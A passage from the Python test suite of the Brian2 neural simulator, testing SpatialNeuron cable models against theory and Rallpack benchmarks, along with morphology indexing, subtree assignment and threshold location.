* um)\n assert_allclose(sum(morpho.LL.length), 5 * um)\n assert_allclose(morpho.LL.distance, (10 + 0.5 + np.arange(5)) * um)\n assert_allclose(sum(morpho.LR.length), 5 * um)\n assert_allclose(morpho.LR.distance, (10 + 0.25 + np.arange(10) * 0.5) * um)\n assert_allclose(sum(morpho.right.length), 3 * um)\n assert_allclose(morpho.right.distance, (0.5 + np.arange(7)) * 3.0 / 7.0 * um)\n assert_allclose(sum(morpho.right.nextone.length), 2 * um)\n assert_allclose(\n morpho.right.nextone.distance, 3 * um + (0.5 + np.arange(3)) * 2.0 / 3.0 * um\n )\n\n\n@pytest.mark.long\n@numpy_needs_scipy\ndef test_infinitecable():\n \"\"\"\n Test simulation of an infinite cable vs. theory for current pulse (Green function)\n \"\"\"\n BrianLogger.suppress_name(\"resolution_conflict\")\n defaultclock.dt = 0.001 * ms\n\n # Morphology\n diameter = 1 * um\n Cm = 1 * uF / cm**2\n Ri = 100 * ohm * cm\n N = 500\n morpho = Cylinder(diameter=diameter, length=3 * mm, n=N)\n\n # Passive channels\n gL = 1e-4 * siemens / cm**2\n eqs = \"\"\"\n Im=-gL*v : amp/meter**2\n I : amp (point current)\n \"\"\"\n\n neuron = SpatialNeuron(morphology=morpho, model=eqs, Cm=Cm, Ri=Ri)\n\n # Monitors\n mon = StateMonitor(neuron, \"v\", record=N / 2 - 20)\n\n neuron.I[len(neuron) // 2] = 1 * nA # injecting in the middle\n run(0.02 * ms)\n neuron.I = 0 * amp\n run(3 * ms)\n t = mon.t\n v = mon[N // 2 - 20].v\n # Theory (incorrect near cable ends)\n x = 20 * morpho.length[0]\n la = neuron.space_constant[0]\n taum = Cm / gL # membrane time constant\n theory = (\n 1.0\n / (la * Cm * pi * diameter)\n * sqrt(taum / (4 * pi * (t + defaultclock.dt)))\n * exp(\n -(t + defaultclock.dt) / taum\n - taum / (4 * (t + defaultclock.dt)) * (x / la) ** 2\n )\n )\n theory = theory * 1 * nA * 0.02 * ms\n assert_allclose(\n v[t > 0.5 * ms], theory[t > 0.5 * ms], atol=float(6.32 * uvolt)\n ) # high error tolerance (not exact because not infinite cable)\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_finitecable():\n \"\"\"\n Test simulation of short cylinder vs. theory for constant current.\n \"\"\"\n BrianLogger.suppress_name(\"resolution_conflict\")\n\n defaultclock.dt = 0.01 * ms\n\n # Morphology\n diameter = 1 * um\n length = 300 * um\n Cm = 1 * uF / cm**2\n Ri = 150 * ohm * cm\n N = 200\n morpho = Cylinder(diameter=diameter, length=length, n=N)\n\n # Passive channels\n gL = 1e-4 * siemens / cm**2\n EL = -70 * mV\n eqs = \"\"\"\n Im=gL*(EL-v) : amp/meter**2\n I : amp (point current)\n \"\"\"\n\n neuron = SpatialNeuron(morphology=morpho, model=eqs, Cm=Cm, Ri=Ri)\n neuron.v = EL\n\n neuron.I[0] = 0.02 * nA # injecting at the left end\n\n run(100 * ms)\n\n # Theory\n x = neuron.distance\n v = neuron.v\n la = neuron.space_constant[0]\n ra = la * 4 * Ri / (pi * diameter**2)\n theory = EL + ra * neuron.I[0] * cosh((length - x) / la) / sinh(length / la)\n assert_allclose(v - EL, theory - EL, atol=1e-6)\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_rallpack1():\n \"\"\"\n Rallpack 1\n \"\"\"\n if prefs.core.default_float_dtype is np.float32:\n pytest.skip(\"Need double precision for this test\")\n defaultclock.dt = 0.05 * ms\n\n # Morphology\n diameter = 1 * um\n length = 1 * mm\n Cm = 1 * uF / cm**2\n Ri = 100 * ohm * cm\n N = 1000\n morpho = Cylinder(diameter=diameter, length=length, n=N)\n\n # Passive channels\n gL = 1.0 / (40000 * ohm * cm**2)\n EL = -65 * mV\n eqs = \"\"\"\n Im = gL*(EL - v) : amp/meter**2\n I : amp (point current, constant)\n \"\"\"\n neuron = SpatialNeuron(morphology=morpho, model=eqs, Cm=Cm, Ri=Ri)\n neuron.v = EL\n\n neuron.I[0] = 0.1 * nA # injecting at the left end\n\n # Record at the two ends\n mon = StateMonitor(neuron, \"v\", record=[0, 999], when=\"start\", dt=0.05 * ms)\n\n run(250 * ms + defaultclock.dt)\n\n # Load the theoretical results\n basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"rallpack_data\")\n data_0 = np.loadtxt(os.path.join(basedir, \"ref_cable.0\"))\n data_x = np.loadtxt(os.path.join(basedir, \"ref_cable.x\"))\n\n scale_0 = max(data_0[:, 1] * volt) - min(data_0[:, 1] * volt)\n scale_x = max(data_x[:, 1] * volt) - min(data_x[:, 1] * volt)\n squared_diff_0 = (data_0[:, 1] * volt - mon[0].v) ** 2\n squared_diff_x = (data_x[:, 1] * volt - mon[999].v) ** 2\n rel_RMS_0 = sqrt(mean(squared_diff_0)) / scale_0\n rel_RMS_x = sqrt(mean(squared_diff_x)) / scale_x\n max_rel_0 = sqrt(max(squared_diff_0)) / scale_0\n max_rel_x = sqrt(max(squared_diff_x)) / scale_x\n\n # sanity check: times are the same\n assert_allclose(mon.t / second, data_0[:, 0])\n assert_allclose(mon.t / second, data_x[:, 0])\n\n # RMS error should be < 0.1%, maximum error along the curve should be < 0.5%\n assert 100 * rel_RMS_0 < 0.1\n assert 100 * rel_RMS_x < 0.1\n assert 100 * max_rel_0 < 0.5\n assert 100 * max_rel_x < 0.5\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_rallpack2():\n \"\"\"\n Rallpack 2\n \"\"\"\n if prefs.core.default_float_dtype is np.float32:\n pytest.skip(\"Need double precision for this test\")\n defaultclock.dt = 0.1 * ms\n\n # Morphology\n diameter = 32 * um\n length = 16 * um\n Cm = 1 * uF / cm**2\n Ri = 100 * ohm * cm\n\n # Construct binary tree according to Rall's formula\n morpho = Cylinder(n=1, diameter=diameter, y=[0, float(length)] * meter)\n endpoints = {morpho}\n for depth in range(1, 10):\n diameter /= 2.0 ** (1.0 / 3.0)\n length /= 2.0 ** (2.0 / 3.0)\n new_endpoints = set()\n for endpoint in endpoints:\n new_L = Cylinder(n=1, diameter=diameter, length=length)\n new_R = Cylinder(n=1, diameter=diameter, length=length)\n new_endpoints.add(new_L)\n new_endpoints.add(new_R)\n endpoint.L = new_L\n endpoint.R = new_R\n endpoints = new_endpoints\n\n # Passive channels\n gL = 1.0 / (40000 * ohm * cm**2)\n EL = -65 * mV\n eqs = \"\"\"\n Im = gL*(EL - v) : amp/meter**2\n I : amp (point current, constant)\n \"\"\"\n neuron = SpatialNeuron(morphology=morpho, model=eqs, Cm=Cm, Ri=Ri, method=\"rk4\")\n neuron.v = EL\n\n neuron.I[0] = 0.1 * nA # injecting at the origin\n\n endpoint_indices = [endpoint.indices[0] for endpoint in endpoints]\n mon = StateMonitor(\n neuron, \"v\", record=[0] + endpoint_indices, when=\"start\", dt=0.1 * ms\n )\n\n run(250 * ms + defaultclock.dt)\n\n # Load the theoretical results\n basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"rallpack_data\")\n # Only use very second time step, since we run with 0.1ms instead of 0.05ms\n data_0 = np.loadtxt(os.path.join(basedir, \"ref_branch.0\"))[::2]\n data_x = np.loadtxt(os.path.join(basedir, \"ref_branch.x\"))[::2]\n\n # sanity check: times are the same\n assert_allclose(mon.t / second, data_0[:, 0])\n assert_allclose(mon.t / second, data_x[:, 0])\n\n # Check that all endpoints are the same:\n for endpoint in endpoints:\n assert_allclose(mon[endpoint].v, mon[endpoint[0]].v)\n\n scale_0 = max(data_0[:, 1] * volt) - min(data_0[:, 1] * volt)\n scale_x = max(data_x[:, 1] * volt) - min(data_x[:, 1] * volt)\n squared_diff_0 = (data_0[:, 1] * volt - mon[0].v) ** 2\n\n # One endpoint\n squared_diff_x = (data_x[:, 1] * volt - mon[endpoint_indices[0]].v) ** 2\n rel_RMS_0 = sqrt(mean(squared_diff_0)) / scale_0\n rel_RMS_x = sqrt(mean(squared_diff_x)) / scale_x\n max_rel_0 = sqrt(max(squared_diff_0)) / scale_0\n max_rel_x = sqrt(max(squared_diff_x)) / scale_x\n\n # RMS error should be < 0.25%, maximum error along the curve should be < 0.5%\n assert 100 * rel_RMS_0 < 0.25\n assert 100 * rel_RMS_x < 0.25\n assert 100 * max_rel_0 < 0.5\n assert 100 * max_rel_x < 0.5\n\n\n@pytest.mark.standalone_compatible\n@pytest.mark.long\n@numpy_needs_scipy\ndef test_rallpack3():\n \"\"\"\n Rallpack 3\n \"\"\"\n if prefs.core.default_float_dtype is np.float32:\n pytest.skip(\"Need double precision for this test\")\n defaultclock.dt = 1 * usecond\n\n # Morphology\n diameter = 1 * um\n length = 1 * mm\n N = 1000\n morpho = Cylinder(diameter=diameter, length=length, n=N)\n # Passive properties\n gl = 1.0 / (40000 * ohm * cm**2)\n El = -65 * mV\n Cm = 1 * uF / cm**2\n Ri = 100 * ohm * cm\n # Active properties\n ENa = 50 * mV\n EK = -77 * mV\n gNa = 120 * msiemens / cm**2\n gK = 36 * msiemens / cm**2\n eqs = \"\"\"\n Im = gl * (El-v) + gNa * m**3 * h * (ENa-v) + gK * n**4 * (EK-v) : amp/meter**2\n dm/dt = alpham * (1-m) - betam * m : 1\n dn/dt = alphan * (1-n) - betan * n : 1\n dh/dt = alphah * (1-h) - betah * h : 1\n v_shifted = v - El : volt\n alpham = (0.1/mV) * (-v_shifted+25*mV) / (exp((-v_shifted+25*mV) / (10*mV)) - 1)/ms : Hz\n betam = 4 * exp(-v_shifted/(18*mV))/ms : Hz\n alphah = 0.07 * exp(-v_shifted/(20*mV))/ms : Hz\n betah = 1/(exp((-v_shifted+30*mV) / (10*mV)) + 1)/ms : Hz\n alphan = (0.01/mV) * (-v_shifted+10*mV) / (exp((-v_shifted+10*mV) / (10*mV)) - 1)/ms : Hz\n betan = 0.125*exp(-v_shifted/(80*mV))/ms : Hz\n I : amp (point current, constant)\n \"\"\"\n axon = SpatialNeuron(\n morphology=morpho, model=eqs, Cm=Cm, Ri=Ri, method=\"exponential_euler\"\n )\n axon.v = El\n # Pre-calculated equilibrium values at v = El\n axon.m = 0.0529324852572\n axon.n = 0.317676914061\n axon.h = 0.596120753508\n axon.I[0] = 0.1 * nA # injecting at the left end\n\n # Record at the two ends\n mon = StateMonitor(axon, \"v\", record=[0, 999], when=\"start\", dt=0.05 * ms)\n\n run(250 * ms + defaultclock.dt)\n\n # Load the theoretical results\n basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), \"rallpack_data\")\n data_0 = np.loadtxt(os.path.join(basedir, \"ref_axon.0.neuron\"))\n data_x = np.loadtxt(os.path.join(basedir, \"ref_axon.x.neuron\"))\n\n # sanity check: times are the same\n assert_allclose(mon.t / second, data_0[:, 0])\n assert_allclose(mon.t / second, data_x[:, 0])\n\n scale_0 = max(data_0[:, 1] * volt) - min(data_0[:, 1] * volt)\n scale_x = max(data_x[:, 1] * volt) - min(data_x[:, 1] * volt)\n squared_diff_0 = (data_0[:, 1] * volt - mon[0].v) ** 2\n squared_diff_x = (data_x[:, 1] * volt - mon[999].v) ** 2\n\n rel_RMS_0 = sqrt(mean(squared_diff_0)) / scale_0\n rel_RMS_x = sqrt(mean(squared_diff_x)) / scale_x\n max_rel_0 = sqrt(max(squared_diff_0)) / scale_0\n max_rel_x = sqrt(max(squared_diff_x)) / scale_x\n\n # RMS error should be < 0.1%, maximum error along the curve should be < 0.5%\n # Note that this is much stricter than the original Rallpack evaluation, but\n # with the 1us time step, the voltage traces are extremely similar\n assert 100 * rel_RMS_0 < 0.1\n assert 100 * rel_RMS_x < 0.1\n assert 100 * max_rel_0 < 0.5\n assert 100 * max_rel_x < 0.5\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_rall():\n \"\"\"\n Test simulation of a cylinder plus two branches, with diameters according to Rall's formula\n \"\"\"\n BrianLogger.suppress_name(\"resolution_conflict\")\n\n defaultclock.dt = 0.01 * ms\n\n # Passive channels\n gL = 1e-4 * siemens / cm**2\n EL = -70 * mV\n\n # Morphology\n diameter = 1 * um\n length = 300 * um\n Cm = 1 * uF / cm**2\n Ri = 150 * ohm * cm\n N = 500\n rm = 1 / (gL * pi * diameter) # membrane resistance per unit length\n ra = (4 * Ri) / (pi * diameter**2) # axial resistance per unit length\n la = sqrt(rm / ra) # space length\n morpho = Cylinder(diameter=diameter, length=length, n=N)\n d1 = 0.5 * um\n L1 = 200 * um\n rm = 1 / (gL * pi * d1) # membrane resistance per unit length\n ra = (4 * Ri) / (pi * d1**2) # axial resistance per unit length\n l1 = sqrt(rm / ra) # space length\n morpho.L = Cylinder(diameter=d1, length=L1, n=N)\n d2 = (diameter**1.5 - d1**1.5) ** (1.0 / 1.5)\n rm = 1 / (gL * pi * d2) # membrane resistance per unit length\n ra = (4 * Ri) / (pi * d2**2) # axial resistance per unit length\n l2 = sqrt(rm / ra) # space length\n L2 = (L1 / l1) * l2\n morpho.R = Cylinder(diameter=d2, length=L2, n=N)\n\n eqs = \"\"\"\n Im=gL*(EL-v) : amp/meter**2\n I : amp (point current)\n \"\"\"\n\n neuron = SpatialNeuron(morphology=morpho, model=eqs, Cm=Cm, Ri=Ri)\n neuron.v = EL\n\n neuron.I[0] = 0.02 * nA # injecting at the left end\n run(100 * ms)\n\n # Check space constant calculation\n assert_allclose(la, neuron.space_constant[0])\n assert_allclose(l1, neuron.L.space_constant[0])\n assert_allclose(l2, neuron.R.space_constant[0])\n\n # Theory\n x = neuron.main.distance\n ra = la * 4 * Ri / (pi * diameter**2)\n l = length / la + L1 / l1\n theory = EL + ra * neuron.I[0] * cosh(l - x / la) / sinh(l)\n v = neuron.main.v\n assert_allclose(v - EL, theory - EL, atol=2e-6)\n x = neuron.L.distance\n theory = EL + ra * neuron.I[0] * cosh(\n l - neuron.main.distance[-1] / la - (x - neuron.main.distance[-1]) / l1\n ) / sinh(l)\n v = neuron.L.v\n assert_allclose(v - EL, theory - EL, atol=2e-6)\n x = neuron.R.distance\n theory = EL + ra * neuron.I[0] * cosh(\n l - neuron.main.distance[-1] / la - (x - neuron.main.distance[-1]) / l2\n ) / sinh(l)\n v = neuron.R.v\n assert_allclose(v - EL, theory - EL, atol=2e-6)\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_basic_diffusion():\n # A very basic test that shows that propagation is working in a very basic\n # sense, testing all morphological classes\n\n defaultclock.dt = 0.01 * ms\n\n EL = -70 * mV\n gL = 1e-4 * siemens / cm**2\n target = -10 * mV\n eqs = \"\"\"\n Im = gL*(EL-v) + gClamp*(target-v): amp/meter**2\n gClamp : siemens/meter**2\n \"\"\"\n\n morph = Soma(diameter=30 * um)\n morph.axon = Cylinder(n=10, diameter=10 * um, length=100 * um)\n morph.dend = Section(\n n=10,\n diameter=[10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0.1] * um,\n length=np.ones(10) * 10 * um,\n )\n\n neuron = SpatialNeuron(morph, eqs)\n neuron.v = EL\n neuron.axon.gClamp[0] = 100 * siemens / cm**2\n\n mon = StateMonitor(neuron, \"v\", record=True)\n\n run(0.25 * ms)\n assert all(abs(mon.v[:, -1] / mV + 10) < 0.25), mon.v[:, -1] / mV\n\n\n@pytest.mark.codegen_independent\ndef test_allowed_integration():\n morph = Soma(diameter=30 * um)\n EL = -70 * mV\n gL = 1e-4 * siemens / cm**2\n ENa = 115 * mV\n gNa = 120 * msiemens / cm**2\n VT = -50.4 * mV\n DeltaT = 2 * mV\n ENMDA = 0.0 * mV\n\n @check_units(voltage=volt, result=volt)\n def user_fun(voltage):\n return voltage # could be an arbitrary function and is therefore unsafe\n\n allowed_eqs = [\n \"Im = gL*(EL-v) : amp/meter**2\",\n \"\"\"\n Im = gl * (El-v) + gNa * m**3 * h * (ENa-v) : amp/meter**2\n dm/dt = alpham * (1-m) - betam * m : 1\n dh/dt = alphah * (1-h) - betah * h : 1\n alpham = (0.1/mV) * (-v+25*mV) / (exp((-v+25*mV) / (10*mV)) - 1)/ms : Hz\n betam = 4 * exp(-v/(18*mV))/ms : Hz\n alphah = 0.07 * exp(-v/(20*mV))/ms : Hz\n betah = 1/(exp((-v+30*mV) / (10*mV)) + 1)/ms : Hz\n \"\"\",\n \"\"\"\n Im = gl * (El-v) : amp/meter**2\n I_ext = 1*nA + sin(2*pi*100*Hz*t)*nA : amp (point current)\n \"\"\",\n \"\"\"\n Im = I_leak + I_spike : amp/meter**2\n I_leak = gL*(EL - v) : amp/meter**2\n I_spike = gL*DeltaT*exp((v - VT)/DeltaT): amp/meter**2 (constant over dt)\n \"\"\",\n \"\"\"\n Im = gL*(EL-v) : amp/meter**2\n I_NMDA = gNMDA*(ENMDA-v)*Mgblock : amp (point current)\n gNMDA : siemens\n Mgblock = 1./(1. + exp(-0.062*v/mV)/3.57) : 1 (constant over dt)\n \"\"\",\n \"Im = gL*(EL - v) + gL*DeltaT*exp((v - VT)/DeltaT) : amp/meter**2\",\n \"\"\"\n Im = I_leak + I_spike : amp/meter**2\n I_leak = gL*(EL - v) : amp/meter**2\n I_spike = gL*DeltaT*exp((v - VT)/DeltaT): amp/meter**2\n \"\"\",\n \"\"\"\n Im = gL*(EL-v) : amp/meter**2\n I_NMDA = gNMDA*(ENMDA-v)*Mgblock : amp (point current)\n gNMDA : siemens\n Mgblock = 1./(1. + exp(-0.062*v/mV)/3.57) : 1\n \"\"\",\n ]\n forbidden_eqs = [\n \"\"\"Im = gl * (El-v + user_fun(v)) : amp/meter**2\"\"\",\n \"\"\"Im = gl * clip(El-v, -100*mV, 100*mV) : amp/meter**2\"\"\",\n ]\n for eqs in allowed_eqs:\n # Should not raise an error\n neuron = SpatialNeuron(morph, eqs)\n\n for eqs in forbidden_eqs:\n # Should raise an error\n with pytest.raises(TypeError):\n SpatialNeuron(morph, eqs)\n\n\n@pytest.mark.codegen_independent\ndef test_spatialneuron_indexing():\n sec = Cylinder(length=50 * um, diameter=10 * um, n=1)\n sec.sec1 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1.sec11 = Cylinder(length=50 * um, diameter=10 * um, n=4)\n sec.sec1.sec12 = Cylinder(length=50 * um, diameter=10 * um, n=8)\n sec.sec2 = Cylinder(length=50 * um, diameter=10 * um, n=16)\n sec.sec2.sec21 = Cylinder(length=50 * um, diameter=10 * um, n=32)\n neuron = SpatialNeuron(sec, \"Im = 0*amp/meter**2 : amp/meter**2\")\n neuron.v = \"i*volt\"\n # Accessing indices/variables of a subtree refers to the full subtree\n assert len(neuron.indices[:]) == 1 + 2 + 4 + 8 + 16 + 32\n assert len(neuron.sec1.indices[:]) == 2 + 4 + 8\n assert len(neuron.sec1.sec11.indices[:]) == 4\n assert len(neuron.sec1.sec12.indices[:]) == 8\n assert len(neuron.sec2.indices[:]) == 16 + 32\n assert len(neuron.sec2.sec21.indices[:]) == 32\n assert len(neuron.v[:]) == 1 + 2 + 4 + 8 + 16 + 32\n assert len(neuron.sec1.v[:]) == 2 + 4 + 8\n assert len(neuron.sec1.sec11.v[:]) == 4\n assert len(neuron.sec1.sec12.v[:]) == 8\n assert len(neuron.sec2.v[:]) == 16 + 32\n assert len(neuron.sec2.sec21.v[:]) == 32\n # Accessing indices/variables with \".main\" only refers to the section\n assert len(neuron.main.indices[:]) == 1\n assert len(neuron.sec1.main.indices[:]) == 2\n assert len(neuron.sec1.sec11.main.indices[:]) == 4\n assert len(neuron.sec1.sec12.main.indices[:]) == 8\n assert len(neuron.sec2.main.indices[:]) == 16\n assert len(neuron.sec2.sec21.main.indices[:]) == 32\n assert len(neuron.main.v[:]) == 1\n assert len(neuron.sec1.main.v[:]) == 2\n assert len(neuron.sec1.sec11.main.v[:]) == 4\n assert len(neuron.sec1.sec12.main.v[:]) == 8\n assert len(neuron.sec2.main.v[:]) == 16\n assert len(neuron.sec2.sec21.main.v[:]) == 32\n # Accessing subgroups\n assert len(neuron[0].indices[:]) == 1\n assert len(neuron[0 * um : 50 * um].indices[:]) == 1\n assert len(neuron[0:1].indices[:]) == 1\n assert len(neuron[sec.sec2.indices[:]]) == 16\n assert len(neuron[sec.sec2]) == 16\n assert_equal(neuron.sec1.sec11.v, [3, 4, 5, 6] * volt)\n assert_equal(neuron.sec1.sec11[1].v, neuron.sec1.sec11.v[1])\n assert_equal(neuron.sec1.sec11[1:3].v, neuron.sec1.sec11.v[1:3])\n assert_equal(neuron.sec1.sec11[1:3].v, [4, 5] * volt)\n\n\n@pytest.mark.codegen_independent\ndef test_tree_index_consistency():\n # Test all possible trees with depth 3 and a maximum of 3 branches subtree\n # (a total of 84 trees)\n # This tests whether the indices (i.e. where the compartments are placed in\n # the overall flattened 1D structure) make sense: for the `SpatialSubgroup`\n # mechanism to work correctly, each subtree has to have contiguous indices.\n # Separate subtrees should of course have non-overlapping indices.\n for tree_description in itertools.product(\n [1, 2, 3], # children of root\n [0, 1, 2, 3], # children of first branch\n [0, 1, 2, 3], # children of second branch\n [0, 1, 2, 3], # children of third branch\n ):\n sec = Cylinder(length=50 * um, diameter=10 * um, n=1)\n root_children = tree_description[0]\n if not all([tree_description[x] == 0 for x in range(root_children + 1, 4)]):\n # skip redundant descriptions (differing number of branches in a\n # subtree that does not exist)\n continue\n\n # Create a tree according to the description\n for idx in range(root_children):\n setattr(\n sec,\n f\"sec{int(idx + 1)}\",\n Cylinder(length=50 * um, diameter=10 * um, n=2 * (idx + 1)),\n )\n for child in range(root_children):\n subsec = getattr(sec, f\"sec{int(child + 1)}\")\n subsec_children = tree_description[child + 1]\n for idx in range(subsec_children):\n setattr(\n subsec,\n f\"sec{int(child + 1)}{int(idx + 1)}\",\n Cylinder(length=50 * um, diameter=10 * um, n=1 + (child + 1) * idx),\n )\n\n neuron = SpatialNeuron(sec, \"Im = 0*amp/meter**2 : amp/meter**2\")\n # Check the indicies for the full neuron:\n assert_equal(neuron.indices[:], np.arange(sec.total_compartments))\n\n all_subsec_indices = []\n for child in range(root_children):\n subsec = getattr(neuron, f\"sec{int(child + 1)}\")\n sub_indices = set(subsec.main.indices[:])\n subsec_children = tree_description[child + 1]\n for idx in range(subsec_children):\n subsubsec = getattr(subsec, f\"sec{int(child + 1)}{int(idx + 1)}\")\n sub_indices |= set(subsubsec.main.indices[:])\n # The indices for a full subtree should be the union of the indices\n # for all subsections within that subtree\n assert sub_indices == set(subsec.indices[:])\n all_subsec_indices.extend(subsec.indices[:])\n # Separate subtrees should not overlap\n assert len(all_subsec_indices) == len(set(all_subsec_indices))\n\n\n@pytest.mark.codegen_independent\ndef test_spatialneuron_subtree_assignment():\n sec = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1.sec11 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1.sec12 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec2 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec2.sec21 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n neuron = SpatialNeuron(sec, \"Im = 0*amp/meter**2 : amp/meter**2\")\n\n neuron.v = 1 * volt\n assert_allclose(neuron.v[:], np.ones(12) * volt)\n neuron.sec1.v += 1 * volt\n assert_allclose(neuron.main.v[:], np.ones(2) * volt)\n assert_allclose(neuron.sec1.v[:], np.ones(6) * 2 * volt)\n assert_allclose(neuron.sec1.main.v[:], np.ones(2) * 2 * volt)\n assert_allclose(neuron.sec1.sec11.v[:], np.ones(2) * 2 * volt)\n assert_allclose(neuron.sec1.sec12.v[:], np.ones(2) * 2 * volt)\n assert_allclose(neuron.sec2.v[:], np.ones(4) * volt)\n neuron.sec2.v = 5 * volt\n assert_allclose(neuron.sec2.v[:], np.ones(4) * 5 * volt)\n assert_allclose(neuron.sec2.main.v[:], np.ones(2) * 5 * volt)\n assert_allclose(neuron.sec2.sec21.v[:], np.ones(2) * 5 * volt)\n\n\n@pytest.mark.codegen_independent\ndef test_spatialneuron_morphology_assignment():\n sec = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1.sec11 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec1.sec12 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec2 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n sec.sec2.sec21 = Cylinder(length=50 * um, diameter=10 * um, n=2)\n neuron = SpatialNeuron(sec, \"Im = 0*amp/meter**2 : amp/meter**2\")\n\n neuron.v[sec.sec1.sec11] = 1 * volt\n assert_allclose(neuron.sec1.sec11.v[:], np.ones(2) * volt)\n assert_allclose(neuron.sec1.sec12.v[:], np.zeros(2) * volt)\n assert_allclose(neuron.sec1.main.v[:], np.zeros(2) * volt)\n assert_allclose(neuron.main.v[:], np.zeros(2) * volt)\n assert_allclose(neuron.sec2.v[:], np.zeros(4) * volt)\n\n neuron.v[sec.sec2[25 * um :]] = 2 * volt\n neuron.v[sec.sec1[: 25 * um]] = 3 * volt\n assert_allclose(neuron.main.v[:], np.zeros(2) * volt)\n assert_allclose(neuron.sec2.main.v[:], [0, 2] * volt)\n assert_allclose(neuron.sec2.sec21.v[:], np.zeros(2) * volt)\n assert_allclose(neuron.sec1.main.v[:], [3, 0] * volt)\n assert_allclose(neuron.sec1.sec11.v[:], np.ones(2) * volt)\n assert_allclose(neuron.sec1.sec12.v[:], np.zeros(2) * volt)\n\n\n@pytest.mark.standalone_compatible\n@pytest.mark.multiple_runs\n@numpy_needs_scipy\ndef test_spatialneuron_capacitive_currents():\n if prefs.core.default_float_dtype is np.float32:\n pytest.skip(\"Need double precision for this test\")\n defaultclock.dt = 0.1 * ms\n morpho = Cylinder(x=[0, 10] * cm, diameter=2 * 238 * um, n=200, type=\"axon\")\n\n El = 10.613 * mV\n ENa = 115 * mV\n EK = -12 * mV\n gl = 0.3 * msiemens / cm**2\n gNa0 = 120 * msiemens / cm**2\n gK = 36 * msiemens / cm**2\n\n # Typical equations\n eqs = \"\"\"\n # The same equations for the whole neuron, but possibly different parameter values\n # distributed transmembrane current\n Im = gl * (El-v) + gNa * m**3 * h * (ENa-v) + gK * n**4 * (EK-v) : amp/meter**2\n I : amp (point current) # applied current\n dm/dt = alpham * (1-m) - betam * m : 1\n dn/dt = alphan * (1-n) - betan * n : 1\n dh/dt = alphah * (1-h) - betah * h : 1\n alpham = (0.1/mV) * (-v+25*mV) / (exp((-v+25*mV) / (10*mV)) - 1)/ms : Hz\n betam = 4 * exp(-v/(18*mV))/ms : Hz\n alphah = 0.07 * exp(-v/(20*mV))/ms : Hz\n betah = 1/(exp((-v+30*mV) / (10*mV)) + 1)/ms : Hz\n alphan = (0.01/mV) * (-v+10*mV) / (exp((-v+10*mV) / (10*mV)) - 1)/ms : Hz\n betan = 0.125*exp(-v/(80*mV))/ms : Hz\n gNa : siemens/meter**2\n \"\"\"\n\n neuron = SpatialNeuron(\n morphology=morpho,\n model=eqs,\n Cm=1 * uF / cm**2,\n Ri=35.4 * ohm * cm,\n method=\"exponential_euler\",\n )\n mon = StateMonitor(neuron, [\"Im\", \"Ic\"], record=True, when=\"end\")\n run(10 * ms)\n neuron.I[0] = 1 * uA # current injection at one end\n run(3 * ms)\n neuron.I = 0 * amp\n run(10 * ms)\n device.build(direct_call=False, **device.build_options)\n assert_allclose(\n (mon.Im - mon.Ic).sum(axis=0) / (mA / cm**2), np.zeros(230), atol=1e6\n )\n\n\n@pytest.mark.codegen_independent\ndef test_point_current():\n soma = Soma(10 * um)\n eqs = \"\"\"Im = 0*nA/cm**2 : amp/meter**2\n I1 = 1*nA : amp (point current)\n I2 = 1*nA : amp (point current, constant over dt)\"\"\"\n neuron = SpatialNeuron(soma, eqs)\n assert \"I1/area\" in neuron.equations[\"Im\"].expr.code\n assert \"I2/area\" in neuron.equations[\"Im\"].expr.code # see issue #1160\n\n\n@pytest.mark.standalone_compatible\n@pytest.mark.multiple_runs\n@numpy_needs_scipy\ndef test_spatialneuron_threshold_location():\n morpho = Soma(10 * um)\n morpho.axon = Cylinder(1 * um, n=2, length=20 * um)\n model = \"\"\"\n Im = 0*nA/cm**2 : amp/meter**2\n should_spike : boolean (constant)\n \"\"\"\n neuron = SpatialNeuron(\n morpho, model, threshold_location=morpho.axon[15 * um], threshold=\"should_spike\"\n )\n # Different variants that should do the same thing\n neuron2 = SpatialNeuron(\n morpho,\n model,\n threshold_location=morpho.axon.indices[15 * um],\n threshold=\"should_spike\",\n )\n neuron3 = SpatialNeuron(\n morpho, model, threshold_location=2, threshold=\"should_spike\"\n )\n # Cannot use multiple compartments\n with pytest.raises(AttributeError):\n SpatialNeuron(\n morpho, model, threshold_location=[2, 3], threshold=\"should_spike\"\n )\n with pytest.raises(AttributeError):\n SpatialNeuron(\n morpho,\n model,\n threshold_location=morpho.axon[5 * um : 15 * um],\n threshold=\"should_spike\",\n )\n neurons = [neuron, neuron2, neuron3]\n monitors = [SpikeMonitor(n) for n in neurons]\n\n net = Network(neurons, monitors)\n for n in neurons:\n n.should_spike = True # all compartments want to spike\n net.run(defaultclock.dt)\n for n in neurons:\n n.should_spike = False # no compartment wants to spike\n net.run(defaultclock.dt)\n for n in neurons:\n n.should_spike = [False, False, True]\n net.run(defaultclock.dt)\n for n in neurons:\n n.should_spike = [True, True, False]\n net.run(defaultclock.dt)\n device.build(direct_call=False, **device.build_options)\n for mon in monitors:\n assert len(mon.i) == 2\n assert all(mon.i == 2)\n assert_allclose(mon.t, [0 * ms, 2 * defaultclock.dt])\n\n\n@pytest.mark.standalone_compatible\n@numpy_needs_scipy\ndef test_spatialneuron_timedarray():\n # See GitHub issue 1427\n ta = TimedArray([0, 1] * nA, dt=1 * ms)\n morpho = Soma(diameter=10 * 